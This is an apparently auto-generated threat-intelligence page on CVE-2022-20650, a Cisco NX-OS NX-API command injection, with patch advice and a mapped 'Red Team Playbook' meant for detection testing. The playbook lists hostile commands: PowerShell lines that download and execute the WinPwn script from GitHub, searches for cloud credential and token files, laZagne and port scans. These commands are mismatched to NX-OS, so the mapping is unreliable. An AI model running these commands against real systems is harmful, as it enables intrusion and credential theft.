CVE-2022-20650
Overview
This vulnerability is a command injection flaw originating from insufficient input validation within the NX-API feature of Cisco NX-OS Software. Specifically, the NX-API improperly processes user-supplied data in HTTP POST requests, allowing crafted input to be executed as system commands. The affected component is the NX-API interface, which is responsible for programmatic device management and automation.
Vulnerability Description
A vulnerability in the NX-API feature of Cisco NX-OS Software could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. The vulnerability is due to insufficient input validation of user supplied data that is sent to the NX-API. An attacker could exploit this vulnerability by sending a crafted HTTP POST request to the NX-API of an affected device. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the underlying operating system. Note: The NX-API feature is disabled by default.
Impact
An authenticated remote attacker with network access to the NX-API can execute arbitrary commands with root privileges on the affected device, enabling full control over the operating system. This can lead to unauthorized data access, configuration changes, or service disruption. The attack requires valid credentials (PR:L) but no user interaction (UI:N) and exploits a network vector (AV:N) with low attack complexity (AC:L). The impact includes full confidentiality, integrity, and availability compromise as indicated by the CVSS vector.
Solution
Cisco recommends applying the updates described in Cisco Security Advisory cisco-sa-nxos-nxapi-cmdinject-ULukNMZ2, which addresses this vulnerability in NX-OS Software versions 7.3(8)N1(0.4) and 10.2(1.72). Administrators should upgrade affected devices to the fixed software versions provided in the advisory. Alternatively, disabling the NX-API feature if not required mitigates exposure. Refer to the Cisco advisory URL for detailed patching instructions and version-specific guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the NX-API feature of Cisco NX-OS Software stems from inadequate input validation of user-supplied data. This flaw allows an authenticated remote attacker to send a specially crafted HTTP POST request to the NX-API of an affected device. Upon successful exploitation, the attacker can execute arbitrary commands with root privileges on the underlying operating system. The NX-API, which facilitates programmatic access to the network operating system, is disabled by default, thereby reducing the attack surface for devices that do not require this feature. However, for those that do enable it, the lack of stringent input validation poses a significant risk, as it could lead to unauthorized access and control over critical network infrastructure.
Exploitation of this vulnerability can occur through various attack vectors. An attacker must first gain authenticated access to the NX-API, which may be achieved through stolen credentials or leveraging weak authentication mechanisms. Once authenticated, the attacker can craft a malicious HTTP POST request that bypasses the input validation checks, allowing them to execute arbitrary commands. This could lead to a range of malicious activities, including data exfiltration, network disruption, or even the installation of persistent backdoors for future access. The ability to execute commands with root privileges means that an attacker can manipulate system configurations, access sensitive data, and potentially pivot to other networked systems.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Cisco NX-OS for their network operations. Given the critical role that network devices play in maintaining business continuity, an exploit could lead to significant operational disruptions. The execution of arbitrary commands could allow attackers to alter routing tables, disable interfaces, or even launch further attacks against other systems within the network. The potential for data breaches is also heightened, as attackers could gain access to sensitive information stored on the affected devices. The business risk extends beyond immediate operational impacts; organizations may face reputational damage, regulatory fines, and loss of customer trust if sensitive data is compromised.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, it is crucial to assess the current configuration of network devices and ensure that the NX-API feature is disabled if not in use. Regular audits of user accounts and authentication mechanisms can help identify and mitigate the risk of unauthorized access. Network segmentation can also limit the exposure of critical devices to potential attackers. Additionally, organizations should employ intrusion detection systems (IDS) to monitor for unusual traffic patterns or unauthorized access attempts to the NX-API. Keeping software up to date with the latest security patches from Cisco is essential to protect against known vulnerabilities and reduce the risk of exploitation.
In conclusion, the vulnerability in the NX-API of Cisco NX-OS Software presents a significant threat to network security. The potential for remote command execution with root privileges underscores the need for vigilant security practices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks. Implementing robust detection and mitigation strategies will be key in safeguarding network infrastructure against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a modest but consistent increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-20650, rising by approximately 10% over the past reporting period. This upward trend, reflected in our telemetry as a steady growth in exploit likelihood, suggests heightened attacker interest or improved exploit reliability, despite the absence of newly disclosed proof-of-concept exploits or active campaign reports. The vulnerability’s potential for remote root-level command execution remains a critical risk factor, and the incremental EPSS increase elevates its priority within threat landscapes where Cisco NX-OS devices are deployed. For defenders, this signals a need for sustained vigilance in monitoring and incident detection, as the growing exploitability score may precede more frequent or sophisticated exploitation attempts. While the overall threat level remains high, the observed trend underscores a subtle but meaningful shift in adversary calculus that could translate into increased operational impact if left unaddressed.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Nx-Os | 10.2\(1.72\) |
cpe:2.3:o:cisco:nx-os:10.2\(1.72\):*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 7.3\(8\)n1\(0.4\) |
cpe:2.3:o:cisco:nx-os:7.3\(8\)n1\(0.4\):*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20650 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-nxapi-cmdinject-ULukNMZ2 |